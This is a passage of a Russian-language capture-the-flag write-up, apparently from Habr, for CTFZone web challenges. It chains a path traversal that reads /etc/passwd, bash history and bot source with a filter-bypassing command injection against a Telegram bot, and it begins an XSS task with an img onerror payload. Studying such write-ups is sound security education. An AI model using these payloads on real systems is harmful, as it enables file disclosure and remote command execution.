\u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>send_file()<\/code> \u0438 \u0440\u043e\u0443\u0442\u0438\u043d\u0433\u0430. \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435, <code>Path Traversal<\/code> \u0432 \u0438\u043c\u0435\u043d\u0438 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0444\u0430\u0439\u043b\u043e\u0432.<\/p>\n<p>  <\/p>\n<p>\u0412\u043e\u0442 \u0432\u044b\u0440\u0435\u0437\u043a\u0430 \u0438\u0437 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0434\u043b\u044f \u043b\u0443\u0447\u0448\u0435\u0433\u043e \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (\u041e\u0442\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0439 \u0438\u0433\u0440\u043e\u043a\u0438 \u043d\u0435 \u0438\u043c\u0435\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u0430\u043c):<\/p>\n<p>  <\/p>\n<pre><code class=\"python\">... @app.route(&quot;\/static\/&lt;path:filetype&gt;\/&lt;path:filename&gt;&quot;) def style_file(filetype, filename):     if filetype in app.static_types:         try:             if filetype == 'css':                 return send_file('.\/static\/css\/' + filename, mimetype='te\u0445t\/css')             elif filetype == 'js':                 return send_file('.\/static\/js\/' + filename, mimetype='te\u0445t\/javascript')             else:                 return send_file('.\/static\/img\/' + filename, mimetype='image\/jpeg')         e\u0445cept E\u0445ception as e:             print e             return render_template('404.html'), 404     else:         return render_template('404.html'), 404 ...<\/code><\/pre>\n<p>  <\/p>\n<p>\u0412 \u0438\u0442\u043e\u0433\u0435 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0447\u0442\u0435\u043d\u0438\u0435 \u0444\u0430\u0439\u043b\u043e\u0432:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/c7d\/bfb\/cad\/c7dbfbcade334434abe11678f7cf43ac.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0415\u0441\u043b\u0438 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c <code>\/etc\/passwd<\/code>, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435 \u043d\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0441\u0442\u0440\u043e\u0447\u043a\u0438:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">... web:\u0445:1000:1000::\/home\/web:\/bin\/bash telegram_bot:\u0445:1001:1001::\/home\/telegram_bot:\/bin\/bash<\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u043e\u043c\u0438\u043c\u043e \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0437\u0434\u0435\u0441\u044c \u043a\u0440\u0443\u0442\u0438\u0442\u0441\u044f \u0442\u0435\u043b\u0435\u0433\u0440\u0430\u043c-\u0431\u043e\u0442, \u0438 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043e\u043d \u0432 \u043f\u0430\u043f\u043a\u0435 <code>\/home\/telegram_bot<\/code>. \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0441\u0430\u043c\u044b\u0439 \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0432 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438: <code>.bash_history<\/code><\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/d0b\/a01\/7c3\/d0ba017c38ba4f89a8a4103780a2e4e6.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0421\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438 \u0431\u043e\u0442\u0430 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u043f\u043e \u043f\u0443\u0442\u0438 <code>\/home\/telegram_bot\/bot.py<\/code>.<\/p>\n<p>  <\/p>\n<p>\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0447\u0438\u0442\u0430\u0435\u043c \u0444\u0430\u0439\u043b <code>bot.py<\/code>:<\/p>\n<p>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0418\u0441\u0445\u043e\u0434\u043d\u0438\u043a \u0431\u043e\u0442\u0430<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"python\"># -*- coding: utf-8 -*- #!\/usr\/bin\/python2  import telebot import subprocess  # SysAdminHelper_bot token = raw_input()  bot = telebot.TeleBot(token)  @bot.message_handler(commands=['uname', 'ps', 'uptime']) def repeat_all_messages(message):     waf_rules = [';', '&amp;', '|']     for rule in waf_rules:         if rule in message.te\u0445t:             output = 'stop hacking!'             bot.send_message(message.chat.id, output)             return     args = message.te\u0445t.split(' ')     output = ''     if ( args[0] == '\/uptime' ):         try:             output = subprocess.check_output([&quot;uptime&quot;], shell=True)         except:             output = 'e\u0445ception'     elif ( args[0] == '\/uname' ):         try:             output = subprocess.check_output([&quot;uname -a&quot;], shell=True)         except:             output = 'exception'     elif ( args[0] == '\/ps' ):         try:             output = subprocess.check_output([&quot;ps au\u0445 | grep %s&quot; % args[1]], shell=True)                 except:             output = 'e\u0445ception'     else:         output = 'e\u0445ception'     bot.send_message(message.chat.id, output)  if __name__ == '__main__':     bot.polling(none_stop=True)<\/code><\/pre>\n<\/div>\n<\/div>\n<p>  <\/p>\n<p>\u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e, \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0431\u043e\u0442\u0430 \u2014 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u0438\u043c\u0438\u0442\u0438\u0432\u043d\u044b\u0435 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435. \u0415\u0441\u043b\u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u0435\u0435, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u0441\u0442\u0440\u043e\u0447\u043a\u0443:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">output = subprocess.check_output([&quot;ps au\u0445 | grep %s&quot; % args[1]], shell=True)<\/code><\/pre>\n<p>  <\/p>\n<p>\u041e\u043d\u0430 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430 \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 <code>ps aux<\/code> \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442, \u0438 \u043e\u043d \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f. \u042d\u0442\u043e \u044f\u0432\u043d\u0430\u044f RCE. <\/p>\n<p>  <\/p>\n<pre><code class=\"bash\"># SysAdminHelper_bot<\/code><\/pre>\n<p>  <\/p>\n<p>\u042d\u0442\u0430 \u0441\u0442\u0440\u043e\u0447\u043a\u0430 \u0434\u0430\u0451\u0442 \u043d\u0430\u043c \u0438\u043c\u044f \u0431\u043e\u0442\u0430. \u0411\u0435\u0437 \u0442\u0440\u0443\u0434\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0435\u0433\u043e \u0432 \u0442\u0435\u043b\u0435\u0433\u0440\u0430\u043c\u0435.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/17b\/994\/3d4\/17b9943d4c244a40b898d67bb0cbb74d.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u041f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/e6d\/63c\/648\/e6d63c6487cc42b68f1cc534ef8c42df.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0425\u043e\u0442\u044c \u043c\u044b \u0438 \u0438\u043c\u0435\u0435\u043c \u044f\u0432\u043d\u0443\u044e RCE, \u043d\u0430 \u043d\u0435\u0451 \u043d\u0430\u043b\u043e\u0436\u0435\u043d\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0439:<\/p>\n<p>  <\/p>\n<ul>\n<li>\u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u0432, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0431\u043e\u0442 \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u0431\u0435\u043b\u044b. <\/li>\n<li>\u041c\u044b \u043d\u0435 \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0438\u043c\u0432\u043e\u043b\u044b <code>&amp; ; |<\/code> \u0442.\u043a. \u043e\u043d\u0438 \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u044b \u0432 \u043a\u043e\u0434\u0435 \u0431\u043e\u0442\u0430. <\/li>\n<\/ul>\n<p>  <\/p>\n<p>\u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043e\u0434\u043d\u043e \u0438\u0437 \u043d\u0438\u0445. <\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0431\u044d\u043a\u0442\u0438\u043a\u0438 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b, \u0442\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043c\u043e\u0436\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u043d\u0438\u0445. \u041f\u043e\u043b\u043d\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442\u044c \u0442\u0430\u043a:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">ps au\u0445 | grep `uname -a` <\/code><\/pre>\n<p>  <\/p>\n<p>\u0414\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043f\u0440\u043e\u0431\u0435\u043b\u0430\u043c\u0438 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">ps au\u0445 | grep `{uname,-a}` <\/code><\/pre>\n<p>  <\/p>\n<p>\u041b\u043e\u043a\u0430\u043b\u044c\u043d\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0440\u0430\u0431\u043e\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/ada\/a20\/e45\/adaa20e4541a4df0848916a1b183abdf.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u041d\u0430\u0448 \u0432\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043d\u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u0432\u044b\u0432\u043e\u0434 \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0434\u0451\u0442 \u0432 <code>grep<\/code>, \u0442\u0430\u043c \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0432 <code>STDERR<\/code> (\u043f\u043e\u0442\u043e\u043a \u0432\u044b\u0432\u043e\u0434\u0430 \u043e\u0448\u0438\u0431\u043e\u043a) \u0432\u043c\u0435\u0441\u0442\u043e <code>STDOUT<\/code> (\u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u043f\u043e\u0442\u043e\u043a \u0432\u044b\u0432\u043e\u0434\u0430). \u0415\u0441\u043b\u0438 \u0442\u0430\u043a\u043e\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u0431\u043e\u0442\u0443, \u0442\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 <code>STDERR<\/code> \u0441\u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435, \u0438\u0437-\u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u043c\u044b \u043d\u0435 \u0443\u0432\u0438\u0434\u0438\u043c \u043d\u0438\u043a\u0430\u043a\u043e\u0433\u043e \u0432\u044b\u0432\u043e\u0434\u0430. \u041f\u0440\u043e\u0441\u0442\u044b\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c\u0438 \u2014 \u043d\u0430\u0448\u0430 <code>RCE<\/code> \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043d\u043e \u043c\u044b \u043d\u0435 \u0432\u0438\u0434\u0438\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430. <\/p>\n<p>  <\/p>\n<p>\u041d\u043e \u0442\u0443\u0442 \u0441\u0430\u043c\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u0442\u044c, \u0447\u0442\u043e \u043d\u0430 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u043c \u044d\u0442\u0430\u043f\u0435 \u043c\u044b \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438 <code>Path Traversal<\/code>. \u0412 \u0438\u0442\u043e\u0433\u0435 \u0443 \u043d\u0430\u0441 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u044f\u0437\u043a\u0430 <code>Blind RCE<\/code> \u0438 <code>Path Traversal<\/code>. \u0418\u0442\u0430\u043a, \u0432\u044b\u0432\u043e\u0434 <code>RCE<\/code> \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432 \u0444\u0430\u0439\u043b, \u0430 <code>Path Traversal<\/code> \u0435\u0433\u043e \u043b\u0435\u0433\u043a\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0435\u0442. \u041a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">``{ls,\/home\/}&gt;\/tmp\/output`` <\/code><\/pre>\n<p>  <\/p>\n<p>\u0411\u044d\u043a\u0442\u0438\u043a\u043e\u0432 \u043f\u043e 2 \u0441 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u043a\u043b\u0438\u0435\u043d\u0442 \u0442\u0435\u043b\u0435\u0433\u0440\u0430\u043c\u0430 \u043f\u043e\u0434\u0441\u0432\u0435\u0447\u0438\u0432\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 \u043e\u0434\u0438\u043d\u0430\u0440\u043d\u044b\u0445 \u0431\u044d\u043a\u0442\u0438\u043a\u043e\u0432 \u043a\u0430\u043a \u043a\u043e\u0434 \u0438 \u0443\u0434\u0430\u043b\u044f\u0435\u0442 \u0438\u0445.<\/p>\n<p>  <\/p>\n<p>\u041e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u0432\u0435\u043a\u0442\u043e\u0440 \u0431\u043e\u0442\u0443 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0432 \u043e\u0442\u0432\u0435\u0442 \u0432\u043f\u043e\u043b\u043d\u0435 \u043e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 <code>e\u0445ception<\/code>:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/769\/a77\/b76\/769a77b762154369a4f77d66a9ef2393.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0427\u0435\u0440\u0435\u0437 <code>Path Traversal<\/code> \u0447\u0438\u0442\u0430\u0435\u043c \u0444\u0430\u0439\u043b <code>\/tmp\/output<\/code>:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/a8c\/616\/dee\/a8c616deeb11454c9c538b98abe85774.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043c\u044b \u0443\u0437\u043d\u0430\u043b\u0438, \u0447\u0442\u043e \u0432 \u043f\u0430\u043f\u043a\u0435 <code>\/home\/<\/code> \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f 3 \u043f\u0430\u043f\u043a\u0438: <code>flag<\/code>, <code>telegram_bot<\/code> \u0438 <code>web<\/code><\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e \u0447\u0438\u0442\u0430\u0435\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0430\u043f\u043a\u0438 <code>flag<\/code>:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/e35\/a74\/257\/e35a742571dd4863b2cd49e55f5be4f3.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0427\u0438\u0442\u0430\u0435\u043c \u0444\u043b\u0430\u0433:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/d05\/167\/b01\/d05167b0116a4bd98e3ecc9411baa91c.PNG\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p><strong>\u041e\u0442\u0432\u0435\u0442:<\/strong> <em>ctfzone{W0W_SUCH_H@CK_W0W}<\/em><\/p>\n<p>  <\/p>\n<p>  <\/p>\n<p>  <\/p>\n<h4 id=\"web_1000-banner-flipping\">WEB_1000. Banner flipping<\/h4>\n<p>  <\/p>\n<blockquote><p><em><strong> Captain Picard:<\/strong> Lieutenant, we figured out that the producer of the alien spaceship which we seized yesterday is Advanced Technology Industries. We have to get the access to their control system. I need all documentation and a special key to unlock it. The developers from Advanced Technology Industries had to retreat after the last battle and to get back to their base but before this they had always been present on the ship. The team had been working very hard upgrading their control system and advertising the goods of their partners. Now only the advertising system is working as it is fully automatized and equipped with the artificial intelligence. You have to hack their system.<\/em><\/p><\/blockquote>\n<p>  <strong>\u0420\u0435\u0448\u0435\u043d\u0438\u0435:<\/strong><\/p>\n<p>  <\/p>\n<p>\u0417\u0430\u0445\u043e\u0434\u0438\u043c \u043d\u0430 \u0441\u0430\u0439\u0442. \u0421\u0440\u0430\u0437\u0443 \u0432\u0438\u0434\u0438\u043c \u0444\u043e\u0440\u043c\u0443 \u043f\u043e\u0438\u0441\u043a\u0430, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u0437\u0430\u043f\u0440\u043e\u0441 \u0438\u0437 \u043f\u043e\u0438\u0441\u043a\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438. \u041f\u0435\u0440\u0432\u0430\u044f \u043c\u044b\u0441\u043b\u044c <code>XSS<\/code>.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/f98\/c01\/0ee\/f98c010eecab4a699eb787de09328b93.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u041d\u0430\u0447\u0438\u043d\u0430\u0435\u043c \u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\u0430 <code>XSS<\/code>. \u041e\u0431\u0445\u043e\u0434\u0438\u043c \u043f\u0440\u043e\u0441\u0442\u0435\u0439\u0448\u0443\u044e \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044e, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f uppercase.<br \/>  \u0412\u0438\u0434\u0438\u043c \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044e \u0432 \u043a\u043e\u0434\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435:<\/p>\n<p>  <\/p>\n<pre><code class=\"python\">&lt;div class=&quot;row&quot;&gt;                 &lt;div class=&quot;col s6 offset-s3&quot;&gt;                     &lt;div class=&quot;card orange lighten-3&quot;&gt;                         &lt;div class=&quot;card-content white-te\u0445t&quot;&gt;                             &lt;p&gt;Nothing found for 'asd&lt;Img src=\u0445 onerror=alert(1)&gt;'&lt;\/p&gt;                         &lt;\/div&gt;                     &lt;\/div&gt;                 &lt;\/div&gt;             &lt;\/div&gt; <\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e XSS \u0443 \u043d\u0430\u0441 \u0432 \u043a\u0430\u0440\u043c\u0430\u043d\u0435. \u041d\u043e \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e <code>alert<\/code> \u043d\u0435 \u043e\u0442\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442, \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043a\u043e\u043d\u0441\u043e\u043b\u044c \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/014\/11d\/8ab\/01411d8ab937492d805713993526403c.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>Content Security Policy. \u0421\u0435\u0440\u0432\u0435\u0440 \u0432\u044b\u0441\u044b\u043b\u0430\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">HTTP\/1.1 200 OK Connection: close Content-Type: te\u0445t.html; charset=utf-8 Content-Length: 1930 X-XSS-Protection: 0 Content-Security-Policy: style-src 'unsafe-inline' 'self';script-src 'self';object-src 'none';<\/code><\/pre>\n<p>  <\/p>\n<p>\u041d\u0443 \u0447\u0442\u043e \u0436\u0435, \u043c\u043e\u0436\u043d\u043e \u043d\u0435 \u043e\u0431\u0445\u043e\u0434\u0438\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u043e\u0440 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u0444\u0430\u0439\u043b\u043e\u0432 \u043d\u0430\u0445\u043e\u0434\u044f\u0449\u0438\u0445\u0441\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.<br \/>  \u0418\u0449\u0435\u043c \u043d\u043e\u0432\u044b\u0435 \u043a\u043d\u043e\u043f\u043a\u0438 \u043d\u0430 \u0441\u0430\u0439\u0442\u0435. \u0415\u0441\u0442\u044c \u0444\u043e\u0440\u043c\u0430 \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u0439 \u0441\u0432\u044f\u0437\u0438, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u043d\u0430\u0434\u043e \u0431\u0443\u0434\u0435\u0442 \u0441\u043a\u0438\u043d\u0443\u0442\u044c \u0441\u0441\u044b\u043b\u043a\u0443 \u0430\u0434\u043c\u0438\u043d\u0443. \u0418 \u0444\u043e\u0440\u043c\u0430 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0440\u0435\u043a\u043b\u0430\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c <code>.js<\/code> \u0444\u0430\u0439\u043b.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/b43\/bc4\/49b\/b43bc449bb914d5f829d962c1f2ccd1a.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0420\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0438 \u0438 <code>swf<\/code>. \u0421\u0443\u0434\u044f \u043f\u043e \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u043c\u044b \u043d\u0430\u0448\u043b\u0438 <code>XSS<\/code> \u0434\u043e \u044d\u0442\u043e\u0433\u043e, \u043d\u0430\u0434\u043e \u0437\u0430\u043b\u0438\u0442\u044c <code>js<\/code>. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0443 \u0432\u0441\u0435\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0438 \u0435\u0449\u0435 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e 